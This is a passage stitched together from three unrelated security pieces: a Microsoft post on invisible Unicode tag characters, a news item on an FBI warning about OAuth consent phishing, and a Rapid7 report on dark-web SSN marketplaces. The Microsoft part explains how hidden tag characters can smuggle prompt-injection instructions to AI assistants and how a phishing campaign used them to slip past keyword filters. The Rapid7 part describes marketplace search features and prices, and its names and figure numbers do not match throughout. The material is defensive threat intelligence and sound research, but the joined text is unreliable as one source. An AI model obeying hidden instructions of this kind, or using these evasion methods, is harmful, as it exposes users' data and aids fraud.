The important property for an attacker is this: most of these code points are not rendered by typical fonts and user interfaces. A string can therefore carry a message that is not readable to a human but will be processed by any language model or other software that receives a copy of the email content.
Why the AI-security world made it famous
Over the past year, ASCII smuggling became a recurring technique in the prompt injection and cross-prompt injection (XPIA) literature. The attack pattern is straightforward:
An attacker hides instructions inside invisible tag characters embedded in a web page, document, email, or other content.
A human (and many user interfaces) sees nothing unusual.
An AI assistant that ingests the raw text does “see” the hidden characters, decodes them as text, and may be induced to follow threat actor-controlled instructions, potentially including data exposure or unauthorized actions depending on the assistant’s permissions and safeguards.
Because this technique cleanly demonstrates the gap between what the human sees and what the model reads, it appeared frequently in AI red-teaming write-ups, conference talks, and tooling throughout 2025. That attention put a spotlight on the U+E0000-U+E007F range.
Because tag characters are invisible to humans but exist at the text-processing level, the same property that makes them useful for smuggling instructions into a model also makes them useful for obfuscating keywords before a detector evaluates them. The intent is inverted, but the mechanism is similar and a user’s suspicions are not raised.
Writing a practical ASCII-smuggling signature
As part of work on Microsoft Defender for Office 365 prompt injection protection, we built hunting logic for email-borne XPIA and prompt obfuscation patterns: content that looks harmless to users but may carry hidden instructions for an AI system that ingests the raw message. The same hunt designed to identify prompt injection risk in email became the starting point for this phishing-evasion discovery.
One practical way to hunt for ASCII smuggling is to look for messages carrying characters from the Unicode tags block (U+E0000-U+E007F), the hallmark of attempts to hide instructions from, or for, an AI model. That broad signature is a useful starting point, but it needs enough Unicode context to avoid mistaking legitimate tag-character sequences for abuse.
The first version simply flagged any code point in that range, which proved too blunt. It kept firing on a small subset of perfectly legitimate messages – which, on inspection, all contained one of three subdivision flag emojis: the flags of England, Scotland, and Wales – because those emojis are encoded using tag characters.
After those exclusions, remaining hits were mostly benign artifacts from email-security gateways, mailbox providers, and security or AI researchers forwarding or testing messages that contained tag characters. This provided a good baseline where any spikes would indicate abuse of this technique by attackers.
Figure 1. The three subdivision flag emojis – England, Scotland, and Wales – that tripped the naive signature. Each is encoded as a sequence of invisible Unicode tag characters (U+E0000-U+E007F).
Figure 2. The Wales flag emoji pasted into the ASCII Smuggler tool from Embrace The Red. What renders as a single flag is actually a base flag code point (U+1F3F4) followed by an invisible tag-character sequence spelling gbwls (U+E0067 U+E0062 U+E0077 U+E006C U+E0073) and a terminating tag (U+E007F) – the same U+E0000-U+E007F range the signature watches for.
What we observed: ASCII smuggling repurposed for phishing
New activity emerges in telemetry
The tuned ASCII-smuggling signature began as an AI-security hunt for hidden prompt injection content in email. Instead, it surfaced finance-themed phishing messages using the same Unicode range for filter evasion.
On February 9, 2026, signature hits increased sharply. The following chart reflects Microsoft Defender for Office 365 telemetry for the hunting signature over the measured period:
Figure 3. Daily hits on the ASCII smuggling signature, a week before and after onset. Volume holds at a low-thousands baseline through February 8, jumps roughly two orders of magnitude on February 9, peaks at over 2.3 million messages on February 11, and dips sharply on Sunday February 15 before rebounding.
The day before onset (February 8) the signature fired on roughly 21,000 messages; the next day it fired on more than 1.3 million. Most of the emails can be formed into a cluster of roughly 150 finance-themed sender domains.
Observed over three months with a weekly rhythm
Continuing to track the clustered sender domains forward in time, we measured messages matching the activity described every day. The high-volume phase persisted for roughly three months after February 9 and dropped sharply after May 15, 2026. These dates bound the observed use of the specific technique in our telemetry, not the broader campaign, which started earlier without it and continued without it.
Figure 4. Daily Unicode-tag signature hits on finance-themed sender domains, log scale, measured every day from February 9 through June 18, 2026. The deep recurring drops are weekend pauses in the observed signature matches; the decline after May 15 marks the end of the high-volume phase matching this exact activity, followed by a low residual.
Two characteristics stand out:
A strict weekly cadence. The campaign ran hard on weekdays and went almost completely silent every weekend. Sundays’ volume collapsed to a near-zero and then back to full volume the next day. This on/off pattern is typical of scheduled bulk-sending infrastructure.
A long, gradual decline. After an intense first phase, with weekday volumes of 1 to 2.37 million messages, peaking on February 26, the numbers stepped down slowly to roughly 80% less per weekday by late March. The high-volume usage of the technique dropped sharply after May 15, with lower residual activity through mid-June and occasional smaller spikes.
After identifying the activity through this technique-specific signal, we connected it to a broader ActiveCampaign-delivered SBA-themed phishing campaign that Fortra had documented earlier. That earlier reporting indicates the campaign predated the adoption of Unicode tag characters; our analysis focuses on the period and messages in which this method was present, not the full lifetime of the broader campaign.
Not instruction smuggling, but filter evasion
Observed obfuscation pattern
When we looked at a sampling of the flagged messages, the surprise was there were no smuggled instructions to an AI assistant. Instead, the invisible tag characters were inserted inside common financial keywords, splitting them apart so that a literal signature or keyword match would fail.
Figure 5. Example of a finance-themed phishing email promoting business funding and credit-line offers.Figure 6. A second example of a finance-themed phishing email advertising business funding and line-of-credit offers. Similar messages in the campaign inserted invisible Unicode tag characters into financial lure terms to help evade detection.
For example, a finance lure term that appeared normal to the recipient could be transmitted with an invisible tag character in the middle:
funding
became:
fun⟨U+E0020⟩ding
Figure 7. Example of the HTML source of a phishing email from the observed campaign. The yellow rectangles highlight invisible Unicode tag characters.
Here, ⟨U+E0020⟩ represents the invisible Unicode TAG SPACE inserted between letters. In the messages we examined, the campaign did not encode a hidden ASCII message in the tag block; it used a single invisible tag character as a separator sprinkled inside high-signal words. Strictly speaking, this is invisible-character insertion using a code point from the ASCII-smuggling tag block, rather than full message smuggling.
Why it can affect detection
To a recipient, and to parsing pipelines that drop or normalize these characters, the word still reads as funding. To a detector matching the literal string funding, or a regex that does not account for interleaved invisible code points, the byte sequence no longer contains the contiguous keyword. Whether real-world detectors behave that way depends on their normalization step, which is examined below.
The bigger prize for the attacker, though, is not preventing the literal string matches; it is the ML- and NLP-based models that increasingly drive modern spam and phishing classification. Unless a filtering system takes a picture of a message and does OCR extraction over the visual image, it may miss this type of attack. A standard email classifier may not reason over whole words exactly as a human sees them; for efficiency, they can first split text into tokens or sub-word pieces. A clean lure term such as funding may be represented as a familiar token or a familiar sequence of sub-tokens. Insert an invisible U+E0020 into the middle, however, and the tokenizer may no longer see that same familiar unit. It might split the text into fun, an unexpected tag character, and ding; it might emit rare or unknown sub-tokens; or, if normalization runs first, it simply removes the U+E0020 character, leaving funding.
Why it can help defenders
There is also a defensive opportunity. Since this kind of manipulation appears so seldom in normal traffic, its presence becomes a high-confidence signal. A technique meant to make messages look more benign to ML models can instead give defenders a low-false-positive indicator to detect on.
What is known and what is new
Inserting invisible or look-alike characters to break keyword and signature matching is a long-standing evasion technique used in spam and phishing: defenders have for years seen zero-width spaces (U+200B), zero-width non-joiners, the no-break space (U+00A0), soft hyphens, and homoglyph substitutions used to fracture words so naive string matchers fail.
What is new is the specific characters and scale of the campaign:
The character choice. Instead of the usual zero-width space or NBSP, this campaign reached for the Unicode Tags block. That block went from forgotten to famous over the past year because of AI security research into ASCII smuggling and prompt injections.
The scale and discipline. At its peak in Microsoft telemetry, the campaign generated multi-million message daily volume.
A possible detection blind spot. Because the Unicode Tags block is less commonly abused than zero-width spaces or NBSP, defenders should verify that normalization and tokenization pipelines handle tag characters consistently.
Financially themed sending domains
The campaign ran on hundreds of disposable, finance-themed sender domains with lures that resembled business loan, line-of-credit, and advance-funding phishing patterns often associated with fraud or credential-harvesting funnels. This pattern accounted for roughly 96% of the volume flagged by the hunting signature. The signature also fired on other domains, but those were unrelated senders – chiefly email-security gateways and personal mailbox providers – not part of the campaign.
A partial sample of sender domains counts from February 9, 2026 alone illustrates both the naming pattern and the per-domain volume:
Sender domain
Hits (Feb 9, 2026)
guardiangrowthfunding[.]com
30,442
digitalcapitalboost[.]com
27,021
thebusinessloanexpress[.]com
25,048
yourlocfunding[.]com
24,482
advancefundingboost[.]com
24,053
guardiancapitalway[.]com
23,921
harboradvancefunding[.]com
23,595
unitedfundingwave[.]com
23,269
directcapitalboost[.]com
22,875
onlinedirectfinance[.]com
21,195
catalystcapitalharbor[.]com
21,130
rocketboostfunding[.]com
20,908
digitalrushcapital[.]com
20,796
guardianloccapital[.]com
20,781
guardianlocchoice[.]com
20,553
ourbusinessloans[.]com
20,444
directcapitalpulse[.]com
19,767
catalystboostfunding[.]com
19,519
elevatecapitalrush[.]com
19,395
fundingexpresscapital[.]com
18,695
Table 1. Top 20 (by signature hits) of the 148 finance-themed campaign sender domains seen on February 9, 2026, illustrating the naming convention and per-domain volume.
Every domain is just a recombination of the same small vocabulary. The 20 domains above are built from only 28 word-tokens:
advance · boost · business · capital · catalyst · choice · digital · direct · elevate · express · finance · funding · growth · guardian · harbor · loan · loans · loc · online · our · pulse · rocket · rush · the · united · wave · way · your
Sent through a legitimate email-marketing platform
The finance-themed domains in Table 1 are the brand (header / P2) domains the recipient sees, but the actual mail was relayed through infrastructure associated with the legitimate email-marketing platform ActiveCampaign. The platform, which is used widely for marketing, rewrites every outbound link in the message body to route through its own click-tracking domains (acemlnd[.]com and activehosted[.]com), so the URLs the recipient clicks do not point at the brand domain at all – they look like:
Most of the flagged messages carried links associated with the platform’s tracking domains rather than direct links that point directly to the sender-branded domains. The envelope (P1) senders were platform subdomains of the form em-<id>.<brand-domain>.
ActiveCampaign response
Before we published this information, we shared our findings with ActiveCampaign to help them with this abuse, and they wanted us to share the following statement on their work to detect it:
“We appreciate Microsoft’s research and welcome collaboration with the security community to combat this activity. We take abuse, fraud, and security extremely seriously. We tested the specific technique described in this research against our content-moderation systems: messages containing invisible Unicode characters receive the same moderation verdicts as their unobfuscated equivalents, and heavy use of the technique is itself treated as a suspicious signal. We continually invest in improving our detection and prevention capabilities, including expanding our use of AI and machine learning to identify abusive sending behavior earlier in the account lifecycle.”— ActiveCampaign spokesperson
As with any shared sending service, attacker abuse of customer accounts or workflows can complicate reputation-based filtering. By originating from a reputable marketing platform with established IP reputation and authentication, the activity may appear more similar to legitimate marketing traffic and can complicate reputation-based filtering.
Most observed volume also originated from cloud-hosting ranges consistent with the platform’s outbound infrastructure, with the vast majority coming froma single network block, 173.236.20[.]0/24. This indicator helped us cluster the campaign more precisely but note that this is a legitimate segment that belongs to the abused service, and not an IOC on its own.
Identifying the campaign
Content and infrastructure remained consistent for a long time span, providing an effective way to easily fingerprint this phase of the campaign:
Unicode content (primary). Invisible Unicode tag characters in the range U+E0000-U+E007F – specifically U+E0020 – spliced inside keywords. Legitimate mail rarely ever carries these code points: the one routine exception, the England/Scotland/Wales flag emojis, is easily excluded.
Lure and brand pattern. Sender (header / P2) domains assembled from a small finance vocabulary – capital, fund/funding, loan, loc, lend, finance, business, express, growth, solutions, choice, hedge, pillar – recombined into fresh, disposable domains and rotated.
Envelope (P1) pattern. The bulk of mail is relayed through a single email-marketing platform, recognizable by envelope shape rather than any one name:
per-account subdomains shaped em-<digits>.<brand-domain> (regex em-\d+\.), where a small set of reused account numbers fans out across hundreds of brand domains; and
the platform’s shared sending pool, shaped acems<N>[.]com and emsd<N>[.]com (e.g. emsd4[.]com, s9.acems10[.]com). Across the measured activity, ~98.5% of messages matched this envelope pattern, and ~99.8% matched the envelope pattern or the platform’s tracking-URL pattern (below).
Tracking-URL pattern. Click/tracking links on the platform’s domains activehosted[.]com and acemlnd[.]com.
Sending-origin pattern. The bulk of daily volume – about 92% across two measured weeks – originated from a single /24 network block, 173.236.20[.]0/24.
For a high-precision rule, look for the Unicode content pattern combined with the finance-brand pattern, using the sender infrastructure patterns as corroboration.
However, this is just a phase in a long-running broader campaign, that keeps adapting and evolving. The campaign was observed months earlier following a different set of behaviors and continued even after the usage of the specific technique was dropped. During these shifts in behavior, one signature may no longer describe the campaign, while another still matches.
Is there a detection gap?
The potential gap for mail-defense pipelines is whether Unicode tag characters are normalized or flagged before content detections run. In Defender, our filter stack can take a picture of message contents, extract visible text through OCR, and run analysis over that extracted text to avoid these types of tricks. Implementations vary, so defenders should test how these characters are handled in their own pipelines. For MDO protection, over 99% of messages were flagged by layers that did not depend on catching the tag characters directly, including sender, IP, URL and domain reputations, ML spam/phishing classification, brand-impersonation detection, authentication checks and more.
Emerging techniques don’t stay in one domain
ASCII smuggling earned its reputation as an AI attack, hiding instructions from people while leaving them visible to models. This campaign shows the same technique being repurposed for a different objective: obscuring phishing content from detection systems while remaining readable to the intended target.
The broader lesson is that security techniques rarely stay confined to a single domain. As AI-era attack methods become better understood, threat actors may adapt them for use in more traditional threats such as phishing and spam. This case illustrates how techniques that emerge in AI security research can quickly cross over into established attack ecosystems, reinforcing the need for defenders to view emerging threats through a cross-domain lens.
Mitigation and protection guidance
The core defensive principle is simple: normalize before you match. Any content that will be evaluated by keyword, signature, or regex logic should first have invisible and non-rendering Unicode code points stripped or folded, so that splicing them into a word no longer defeats the match.
Recommended controls
Strip or normalize Unicode tag characters (U+E0000-U+E007F) – and other zero-width / invisible code points – from email subject and body text before applying spam and phishing content signatures.
Treat the presence of tag-block characters as a strong anomaly signal. Outside known legitimate tag-sequence uses such as certain subdivision flag emojis, these code points are rare in ordinary mail and can be a high-value anomaly signal.
Look for the behavioral fingerprint. The observed activity had a distinctive shape: bulk volume from churning, finance-themed disposable domains, on a strict weekday-on / weekend-off schedule. A sudden spike of tag-block characters concentrated on finance-themed senders, switching on and off weekly, is a high-confidence campaign indicator.
Apply the same normalization upstream of AI ingestion. The same control that defeats this evasion also reduces XPIA / ASCII-smuggling exposure for AI assistants that ingest email content.
Microsoft protections
Microsoft Defender for Office 365 has heuristic detections in place to flag these the tactics employed in this type of campaign. The detection that first surfaced the spike continues to flag messages carrying Unicode tag-block characters, and the financially themed sending domains are being tracked and blocked as they rotate. Microsoft uses layered email protections, including standard and OCR content analysis, sender and domain reputation, URL detonation and reputation, bulk-mail detection, and anti-phishing models, to reduce reliance on any single signal that an attacker can try to evade.
Microsoft Defender for Office 365 prompt injection protection further helps protect against emails that contain prompt injection attempts, including cases where invisible characters are used to hide instructions from users while exposing them to AI systems. The same normalization and detection principles that reduce ASCII-smuggling-based prompt injection risk also help blunt this email-borne reuse of the technique for phishing evasion. Investments in AI security and traditional email security increasingly reinforce one another.
Coverage depends on product licensing, configuration, and telemetry.
Advanced hunting
These queries run against the EmailEvents Advanced Hunting table (and EmailUrlInfo for URL joins). They hunt the campaign by its infrastructure fingerprint – the finance-vocabulary brand senders and the marketing-platform envelope shape – rather than by the invisible tag characters, as the mail body is not exposed through the table’s columns. These queries are starting points and may require environment-specific tuning. The proactive defense is implemented with multiple layers of the enterprise mail-filtering pipeline.
1. Infrastructure pattern – finance-vocabulary senders relayed with the campaign’s envelope shape. Combines the brand-domain pattern (a header sender built from three or more adjacent finance/brand keywords, e.g. digital+capital+boost) with the envelope (MAIL FROM) shape em-<digits> / acems<digits> / emsd<digits> – the durable fingerprint that held across the entire period we measured.
// Finance/brand vocabulary the operator recombines into disposable domains.
let kwds = @"(capital|fund|hedge|express|solutions|choice|lend|growth|loan|loc|finance|business|pillar|advance|boost|catalyst|digital|direct|elevate|guardian|harbor|online|pulse|rocket|rush|united|wave|way|surge|swift|elite)";
EmailEvents
| where Timestamp > ago(30d)
| where EmailDirection == "Inbound"
// Header sender domain made of 3 or more adjacent finance/brand tokens.
| where SenderFromDomain matches regex strcat("(?i)", kwds, kwds, kwds)
// Envelope (MAIL FROM) shape: em-[digits] | acems[digits] | emsd[digits].
| where SenderMailFromDomain matches regex @"(?i)(em-|acems|emsd)\d"
| sort by Timestamp desc
For extra corroboration you can scope to the single dominant /24 that carried the bulk of this campaign’s volume, 173.236.20[.]0/24, by adding | where ipv4_is_in_range(SenderIPv4, “173.236.20.0/24”). Like the tracking URLs, that network block is shared platform space (it also carries unrelated legitimate newsletters), so use it to scope, never as a standalone filter.
2. Pivot on the platform tracking URLs. Start from the click/tracking links and join back to the mail events. Useful for scoping, but treat it as corroboration, not a verdict: the tracking domains activehosted[.]com and acemlnd[.]com are shared by every legitimate customer of the same marketing platform, so the URL on its own is not a malicious indicator. The finance-brand filter is what keeps this on the campaign; drop it only if you deliberately want a wider search.
let kwds = @"(capital|fund|hedge|express|solutions|choice|lend|growth|loan|loc|finance|business|pillar|advance|boost|catalyst|digital|direct|elevate|guardian|harbor|online|pulse|rocket|rush|united|wave|way|surge|swift|elite)";
EmailEvents
| where Timestamp > ago(30d)
| where EmailDirection == "Inbound"
| where SenderFromDomain matches regex strcat("(?i)", kwds, kwds, kwds)
| join kind=inner (
EmailUrlInfo
| where Timestamp > ago(30d)
| where UrlDomain endswith "activehosted.com" or UrlDomain endswith "acemlnd.com"
| distinct NetworkMessageId
) on NetworkMessageId
| sort by Timestamp desc
3. Filter for prompt injection detection in emails
The feature used in the query below is available for Microsoft Defender for Office 365 Plan 2 or Microsoft 365 E5 customers.
EmailEvents
| where DetectionMethods has "Prompt Injection Protection"
MITRE ATT&CK techniques observed
This campaign exhibits the following MITRE ATT&CK® techniques. The table includes MITRE ATT&CK for phishing/evasion behavior and MITRE ATLAS for the AI-security technique class related to prompt obfuscation.
Invisible Unicode tag characters (U+E0000-U+E007F) spliced into high-signal keywords to break signature and keyword matching and alter downstream tokenization.
Bulk-registered, rotating sender domains used by the campaign. See representative sample in Table 1.
Envelope (P1) sender shaped em-<digits>.<brand> or shared pool acems<N>[.]com / emsd<N>[.]com
Infrastructure pattern
Reputation-laundering relay through a legitimate email-marketing platform
Sending IPv4 block 173.236.20[.]0/24
Infrastructure (IPv4)
Single /24 that carried ~92% of the measured activity volume; legitimate shared email-marketing-platform egress space – a strong scoping/corroboration signal, not a standalone block indicator
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.
Attackers are targeting prominent, high-profile people, their family members and acquaintances on a commercial messaging application to gain long-term access to their accounts containing sensitive data, the FBI warned in an alert Tuesday.
Officials did not describe the objectives or origins of the attackers, which have more recently impersonated government officials, journalists and publicly known personalities. Attackers are tricking victims into granting them access to a legitimate cloud service, such as Microsoft or Google, under the guise of reviewing a draft article or document.
The ongoing threat, which the FBI has been tracking since late 2025, showcases a “deceptive, sophisticated approach to access user accounts without requiring a password,” the FBI wrote in the public service announcement. The malicious links, which enable OAuth consent phishing, provide attackers with persistent access to a targeted victim’s account.
“Once permission is obtained, it can only be revoked by the victim invalidating the token in their application security settings — not by changing the password,” the FBI wrote.
Authorities did not provide any details about the victims targeted by the campaign or how many people have already been compromised by these attacks. Threat actors previously impersonated event coordinators and planners, using invitations and identity verification requests as lures to gain access to their accounts.
By social engineering unsuspecting victims via OAuth consent phishing, attackers gain full visibility into the target’s configured permissions, allowing them to access emails, files and other sensitive data.
“If the user approves the request, they unwittingly grant high-level access to a malicious application controlled by the cyber actor,” the FBI added. “By registering malicious applications through legitimate authorization protocols and using social engineering tactics, cyber actors can bypass both passwords and multi-factor authentication, which makes consent phishing especially dangerous.”
OAuth is a standardized and widely adopted protocol for authorizing access to applications and other services, including APIs. The standard uses tokens to establish and maintain authorized access to separate resources or services.
The FBI encouraged people to scrutinize communications from unfamiliar phone numbers or accounts, independently verify the identity of the sender and only grant access to trusted applications.
Despite modern verification controls, identity theft remains one of the most pervasive threats to both individuals and enterprise organizations. U.S. Federal Trade Commission statistics show over 1 million identity theft reports annually, with related fraud and imposter scams accounting for billions in financial losses each year. While stolen credit cards enable rapid, short-term monetization, Social Security numbers (SSNs) represent a far more permanent and dangerous tier within the cybercrime ecosystem, because unlike payment cards, they cannot simply be deactivated. Once exposed, an SSN can support enabling unauthorized lines of credit, synthetic identity fraud, and sophisticated tax scams.
When exposed identity data belongs to corporate executives, board members, and other high-profile employees, the risk can extend beyond the individual. Threat actors target these high-profile individuals not just for their premium credit profiles, but to leverage their compromised identities for executive impersonation, corporate espionage, and downstream extortion. Rapid7’s recent alert telemetry underscores the severity of this targeted exposure: since early 2026 alone, we identified 476 instances of compromised SSN records across 395 unique corporate personnel. Over 73% of these exposures directly targeted top-level leadership, with C-suite executives comprising 44.6% of affected profiles and Presidents making up another 28.6%. Unsurprisingly, given the geographical nature of SSNs, 95.6% of these leaks stemmed from U.S.-headquartered organizations, concentrated heavily in high-value sectors like Financials (over 25%) and Industrials (17%).
In this blog, we explore the operational mechanics of the underground identity economy, focusing on three dominant SSN marketplaces tracked by Rapid7: Xilo, Bankom, and PeopleFinder, which together account for 81.5% of all executive SSN leaks in our dataset (led by Xilo at 40.8%, Bankom at 21.8%, and PeopleFinder at 18.9%). Using Rapid7 alert telemetry from the past year, we look at the profiles of affected corporate executives, how these marketplaces operate, and highlight how proactive dark web monitoring can mitigate upstream identity exposure before it is weaponized.
Why stolen SSNs retain their value
Not all stolen data retains its value for the same length of time. Leaked credentials can be reset, payment cards can be cancelled, and session tokens eventually expire. While these data types remain highly sought after by cybercriminals, their usefulness often depends on acting quickly before the victim or service provider invalidates them.
SSNs differ as they are effectively permanent, serving as a core identity attribute. Once exposed, they can remain valuable for years, enabling a wide range of fraud schemes long after the original breach. When combined with other personally identifiable information (PII), such as a victim's name, date of birth, address, phone number, and employment history, an SSN becomes the foundation of a comprehensive identity profile that can be bought, sold, and repeatedly abused across the criminal ecosystem.
These identity profiles enable far more than traditional identity theft. Threat actors use them to open fraudulent financial accounts, create synthetic identities, bypass identity verification processes, file fraudulent tax or government benefit claims, and support highly targeted social engineering campaigns. Rather than serving a single purpose, a complete identity record becomes a reusable asset that can be monetized multiple times by different threat actors.
For corporate executives and other high-profile employees, exposed identity data can also create risk for the organization they represent. Publicly available information, from regulatory filings to corporate biographies and social media, can be combined with stolen identity data to build highly detailed profiles. These enriched records increase the credibility of phishing, business email compromise (BEC), and executive impersonation attacks, allowing threat actors to target not only the individual but also the organization they represent.
This durability has fueled a thriving underground economy where identity records are treated as searchable, reusable inventory rather than one-time commodities. The marketplaces examined in this research demonstrate just how mature and accessible this ecosystem has become.
Anatomy of an SSN marketplace
While platforms like Xilo, Bankomat, and PeopleFinder present a highly organized, user-friendly storefront, they operate strictly as downstream clearinghouses rather than original creators of their inventory. The vast supply of SSNs flooding these networks relies on a distinct, multi-tiered underground supply chain. The massive volume driving these platforms is primarily fueled by large-scale institutional network breaches, where wholesale hackers compromise data aggregators, healthcare systems, and financial providers. These massive SQL databases are sold in bulk on deep-web forums, where marketplace administrators purchase, parse, and upload them into their searchable storefronts. According to annual telemetry from the Identity Theft Resource Center, billions of individual data records are exposed annually through these mega-breaches, accounting for the vast majority of the inventory available online.
Another source of identity data comes from infostealer malware and targeted phishing campaigns. While mass breaches provide wholesale numbers, infostealers scrape highly contextual local data, such as saved browser forms and PDF documents like tax returns or corporate onboarding paperwork stored on unmanaged personal devices. When these localized logs are parsed by marketplace administrators, they yield the fresh, high-value identity profiles that allow buyers to target specific corporate leaders.
Although these platforms tap into a similar upstream supply chain, how they package and monetize this data varies significantly. To stand out in a maturing, highly competitive cybercrime market, each marketplace focuses on its own operational niche, ranging from ultra-low pricing and identity enrichment features to multi-asset carding integration and legacy data consistency. The following sections provide a deep dive into each marketplace, highlighting their specific functionalities, user interfaces, and distinct market advantages.
Xilo
Xilo has been active since at least March 2025. The marketplace is hosted as a Tor hidden service, while also maintaining mirror sites on the clear web to improve accessibility and resilience.
Users can search for specific individuals by name, state, country (US or Canada), or year of birth (Figure 1). They can also request records that include phone numbers and email addresses in addition to the victim's SSN. This can increase the value of the records by reducing the need for threat actors to source additional PII elsewhere. During our analysis, however, we did not identify any records that included email addresses, while records containing phone numbers were available at the same price as standard SSN records. Search results can also be sorted by price, although the cost appears to be fixed at $0.25 per SSN record.
Figure 1 – Xilo search interface
⠀
Search results typically display the victim's full name, physical address, and date of birth before purchase. This information alone can help threat actors identify specific individuals for targeted campaigns, while the SSN is revealed only after the purchase is completed (Figure 2).
Figure 2 – Xilo search results
⠀
In addition to standard searches, Xilo offers a reverse lookup service that accepts an SSN or phone number and returns additional PII, including the victim's full name and phone number (Figure 3). This service costs $0.50 per lookup, suggesting that enriching an existing identity profile is considered more valuable than purchasing an SSN alone. Threat actors can use this functionality to expand records obtained through the standard search, increasing the amount of PII associated with a single individual and, consequently, the potential for identity fraud.
Figure 3 – Xilo reverse search
⠀
The marketplace is supported by a Telegram channel used to announce technical updates and new domains. Although activity on the channel has been relatively limited, it has attracted more than 500 subscribers, providing an indication of interest in the service. Like many established cybercriminal services, Xilo appears prepared for domain disruptions by maintaining alternative access points and communicating them through Telegram, adopting the kind of resilience and service-continuity practices more commonly associated with legitimate online services.
Xilo accepts several cryptocurrencies, including Bitcoin, Litecoin, Monero, Ether, and Tether (USDT). Support for USDT is relatively uncommon among underground marketplaces and may reflect the marketplace's focus on US-based identity data. The minimum deposit is just $1, lowering the barrier to entry for new users, while bonuses are offered for deposits exceeding $100 to encourage larger account balances.
Beyond its own infrastructure, Xilo actively advertises on well-known cybercrime forums, including XSS, as well as carding communities such as WWH-Club and Altenens (Figure 4). This marketing strategy is common among underground marketplaces seeking to expand their customer base. More notably, Xilo's presence on carding-focused forums highlights the close relationship between stolen payment data and identity information, illustrating how different segments of the cybercrime ecosystem increasingly overlap and complement one another.
Figure 4 – Xilo advertisement on Altenens
Bankomat
Active since at least March 2022, Bankomat is one of the more established marketplaces operating in the underground identity theft ecosystem. The platform is accessible as a Tor hidden service while maintaining multiple clear web domains to improve availability. Its emergence coincided with the shutdown of several prominent carding and PII marketplaces, including Joker's Stash and SSNDOB Marketplace, suggesting that Bankomat sought to capitalize on the resulting gap by combining identity data sales with traditional carding services.
The marketplace prominently lists its active domains and encourages users to save its onion address, describing it as the most reliable way to access the service. This reflects an awareness of the operational challenges faced by long-running underground marketplaces, particularly the risk of domain seizures and takedowns. By maintaining multiple access points and actively directing users toward its Tor service, Bankomat demonstrates the operational maturity needed to retain its customer base despite infrastructure disruptions.
Users can search for individuals by first and last name, combined with an additional identifier such as state, city, ZIP code, or date of birth (Figure 5). The search functionality is free, allowing users to identify potential victims before deciding whether to purchase a record. Search results display the victim's full name, date of birth, and physical addresses, while the SSN is revealed only after purchase at a fixed cost of $4 per record. Unlike Xilo, however, Bankomat does not offer additional identity enrichment services or the ability to purchase supplementary PII directly through the platform.
Figure 5 – Bankomat search bar
⠀
Beyond SSN records, Bankomat also functions as a traditional carding marketplace by offering stolen payment card details for sale, obtained through third-party sellers. The platform supports card validation services, including Viper and 4chk, allowing buyers to verify whether stolen payment cards remain active before using or reselling them. Similar functionality is offered by established carding marketplaces, such as Findsome and UltimateShop.
This combination of identity records, payment card data, and validation tools positions Bankomat as a one-stop marketplace for financially motivated threat actors. Rather than sourcing stolen identities and payment data from separate platforms, buyers can acquire multiple data types associated with the same victim through a single service. While SSN records cost $4, stolen payment card details are typically advertised for approximately $10, suggesting that Bankomat places greater commercial emphasis on its carding business, likely reflecting both higher profit margins and sustained demand within the underground economy (Figure 6).
Figure 7 – PeopleFinder SSN listings
⠀
Bankomat currently accepts payments exclusively in Bitcoin, in contrast to newer marketplaces that increasingly support a wider range of cryptocurrencies to appeal to a broader customer base.
PeopleFinder
Active since at least February 2023, PeopleFinder is a successor to the SSNDOB Marketplace, whose primary domains were seized by law enforcement in June 2022. Following that takedown, the service re-emerged through a network of lookup mirrors using clear-web-sounding domain names such as “PeopleFinder.” The connection is also visible in the source code, where the front-end login page retains the original “ssndob” title text and logo. Through this infrastructure, the platform provides access to the same legacy database of more than 24 million compromised U.S. PII records.
To maintain a steady customer stream, PeopleFinder actively advertises its database on high-profile cybercrime and carding forums like WWH-Club and Exploit. This deliberate marketing keeps the service highly visible to financially motivated threat actors seeking verification tools for downstream fraud.
The layout itself is highly streamlined, featuring a basic search bar that closely mirrors Bankomat's interface. Users can search the platform's database by name, date of birth, or physical address completely free of charge. The initial search output displays the victim's full name, date of birth, and associated physical addresses, allowing a threat actor to confirm they have targeted the correct corporate executive before paying for the record (Figure 7).
Figure 7 – PeopleFinder SSN listings
To reveal the hidden SSN, users must pay a fixed cost of $1.50 per lookup, putting its pricing structure right between Xilo and Bankomat. This strict, hyper-commoditized focus solely on core SSN details directly mirrors the operational blueprint of the original SSNDOB model. Rather than expanding into supplementary data types like phone numbers or credit cards, the operators chose to preserve their highly efficient, legacy pay-per-lookup infrastructure. The platform relies exclusively on Bitcoin transactions.
What Rapid7 telemetry reveals about the executive threat landscape
By monitoring dark web SSN marketplaces, Rapid7 actively alerts clients when leaked records of their executives or designated employees are discovered.
Since the beginning of 2026, our telemetry has identified 476 instances of compromised SSN records, representing 395 unique individuals, as several monitored personnel were affected by multiple exposures. Within this sample, most of the leaked SSNs were recorded in Xilo (40.8%), followed by Bankom (21.8%) and PeopleFinder (18.9%) (Figure 8).
Figure 8 – The sample distribution of leaked SSNs by marketplace
⠀
Given that SSNs are issued within the United States, the overwhelming majority of compromised records in our dataset, 95.6%, were linked to organizations headquartered in the U.S., with others located in Spain, Canada, and Japan, trailing significantly behind (Figure 9).
Figure 9 – The sample distribution of leaked SSNs by country
⠀
Financials represented the largest sector in our sample, accounting for more than a quarter of organizations whose monitored executives appeared in leaked SSN records, followed by Industrials at 17% (Figure 10). One possible reason for the concentration in Financials is the volume and sensitivity of customer and employee data these organizations hold, including PII and tax-related information, which can make exposed identities particularly valuable to threat actors. Industrials may also present attractive targets because of their interconnected supply chains, where compromised identities can potentially support broader fraud, impersonation, or access attempts across partner ecosystems.
Figure 10 – The sample distribution of leaked SSNs by sector
⠀
A closer analysis of the roles of targeted personnel reveals that C-suite executives (such as Chief Executive Officers and Chief Financial Officers) make up the largest portion at 44.6%. Presidential positions represent the second-largest segment at 28.6%, while functional management and administrative roles account for 13.9% of the compromised profiles.
These findings may reflect a natural monitoring bias, since organizations are more likely to prioritize senior personnel whose compromise poses a greater security risk. Even with that caveat, the concentration among senior leadership reinforces why executive identity exposure deserves specific attention.
Compromised executive PII can support targeted phishing, impersonation, and other social engineering campaigns against both the individual and the organization they represent.
Board Trustees, Directors of the Board, State Senators, Vice Chairs
18
4.6%
Total Unique Individuals
395
100.0%
From detection to action: Responding to exposed executive PII
Because SSNs cannot simply be reset after exposure, organizations need a way to identify compromised executive PII early and determine what action can reduce the resulting risk.
